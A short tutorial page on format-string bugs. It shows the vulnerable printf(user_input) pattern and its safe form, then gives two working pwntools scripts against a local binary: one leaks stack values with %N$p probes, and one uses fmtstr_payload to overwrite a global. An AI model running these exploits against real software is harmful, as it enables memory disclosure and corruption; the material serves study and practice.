Skip to content

Format-string recipe

Bug shape: user input reaches a formatting call as the format itself, such as printf(user_input). A safe call passes it as data: printf("%s", user_input).

from pwn import *
p = process("./fmt")
probe = b"|".join(f"%{i}$p".encode() for i in range(1, 13))
p.sendlineafter(b"> ", probe)
print(p.recvall(timeout=1))

Each %N$p asks printf to display argument N as a pointer. Replace the target and prompt; compare output with a recognizable marker to find where controlled input appears.

from pwn import *
context.binary = elf = ELF("./fmt", checksec=False)
offset = 6 # replace with the observed format-string offset
target = elf.symbols["flag"] # example writable global in the local binary
payload = fmtstr_payload(offset, {target: 1}, write_size="int")
p = process(elf.path)
p.sendlineafter(b"> ", payload)
p.interactive()

fmtstr_payload lays out the format directives and addresses. Confirm the offset, target address, write width, and input length against this binary; inspect the generated bytes before sending. See pwntools ROP and GDB helpers.